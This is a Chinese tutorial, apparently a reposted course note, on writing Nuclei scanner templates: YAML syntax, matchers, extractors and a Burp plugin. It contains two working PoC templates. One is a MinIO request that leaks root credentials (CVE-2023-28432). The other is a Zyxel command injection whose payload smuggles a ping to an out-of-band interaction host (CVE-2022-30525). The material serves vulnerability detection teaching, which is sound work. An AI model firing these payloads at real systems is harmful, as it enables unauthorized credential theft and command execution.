漏洞发现-漏扫项目&Poc开发&Yaml语法&插件一键生成&匹配效果&交互提取
知识点1、Nuclei-Poc开发-环境配置&编写流程
2、Nuclei-Poc开发-Yaml语法&匹配提取
3、Nuclei-Poc开发-BurpSuite一键生成插件
一、演示案例-Nuclei-Poc开发-环境配置&编写流程
1、开发环境：Vscode+Yaml插件
https://code.visualstudio.com/
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110153917774-558939919.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110153940023-1951436588.png
2、开发文档参考资料
官方文档
https://docs.projectdiscovery.io/templates/protocols/http/basic-http
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154012285-1993698425.png
nuclei poc模板编写条记
https://blog.csdn.net/qq_41315957/article/details/126594572
https://blog.csdn.net/qq_41315957/article/details/126594670
二、演示案例-Nuclei-Poc开发-Yaml语法&匹配提取
YAML是一种数据序列化语言，它的基本语法规则留意如下：
巨细写敏感
使用缩进表示层级关系
缩进时不允许使用Tab键，只允许使用空格。
缩进的空格数目不紧张，只要相同层级的元素左侧对齐即可
Yaml Poc模版：
1、编号 id(描述)
2、信息 info(描述)
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154217071-1750065469.png
3、请求 http file tcp等(漏洞以什么方式请求)
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154253023-431675669.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154313784-427094752.png
4、匹配 matchers Interactsh(对效果匹配关键字来判断是否存在漏洞)
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154439811-756606210.png
5、提取 extractors(对效果提取页面长度、状态等来判断是否存在漏洞)
开发流程：
0、poc模版套用修改
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154552051-1529464922.png
1、poc创建独立编号
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154629748-2053324238.png
2、poc填入详细信息
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154700205-428878949.png
3、poc提交协议流程编写
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154726681-1636107639.png
4、poc效果匹配模式判断,and全部条件为真；or一个为真即可
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154759805-415122062.png
5、poc效果提取模式判断
案例1：CVE-2023-28432 （匹配效果）
https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110154954892-1126422118.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155013677-1184380331.png
点击检察该环境POC代码id: CVE-2023-28432
info:
name: MinIO集群模式信息泄露漏洞（CVE-2023-28432）
author: xiaodisec
severity: low
description: 在其RELEASE.2023-03-20T20-16-18Z版本（不含）以前，集群模式部署下存在一处信息泄露漏洞，攻击者可以通过发送一个POST数据包获取进程所有的环境变量，其中就包含账号密码MINIO_SECRET_KEY和MINIO_ROOT_PASSWORD。
reference:
- https://github.com/vulhub/vulhub/blob/master/minio/CVE-2023-28432/README.zh-cn.md
tags: MinIO,CVE
http:
- raw:
- |
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
part: body
words:
- '"MINIO_ROOT_PASSWORD":'
- '"MINIO_ROOT_USER":'
- '"MinioEnv":'
condition: andhttps://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155312534-1287835042.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155332246-1846007121.png
案例2：CVE-2022-30525（匹配交互）
https://blog.csdn.net/weixin_43080961/article/details/124776553
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155432976-1306742687.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155455126-17309452.png
点击检察环境POC代码id: CVE-2022-30525
info:
name: Zyxel 防火墙远程命令注入漏洞
author: xiaodisec
severity: high
description: 该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙，其中包括 ATP 系列、VPN 系列和 USG FLEX 系列（包括 USG20-VPN 和 USG20W-VPN）。该漏洞标识为 CVE-2022-30525，允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
reference:
- https://blog.csdn.net/weixin_43080961/article/details/124776553
tags: zyxel,cve,rce
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"{{exploit}}","data":"hi"}
payloads:
exploit:
- ";ping -c 3 {{interactsh-url}};"
matchers:
- type: word
part: interactsh_protocol
name: dns
words:
- "dns"https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155610761-1833806289.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155555877-1210410965.png
三、演示案例-Nuclei-Poc开发-BurpSuite一键生成插件
nuclei-burp-plugin
https://github.com/projectdiscovery/nuclei-burp-plugin
1、导入或商店安装
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155825018-766739187.png
2、配置插件路径信息
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155915292-464407190.png
3、数据包选择生成模版
CVE-2023-28432
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110155946798-889859308.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110160007078-1354809175.png
然后在bp复现下这个漏洞poc，乐成后右键数据包使用插件生成nuclei插件模板
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110160037460-743230574.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110160055631-1395777410.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110160112760-160809256.png
CVE-2022-30525
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110160142308-1299750710.png
https://img2024.cnblogs.com/blog/3407897/202501/3407897-20250110160153160-1452421491.png
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]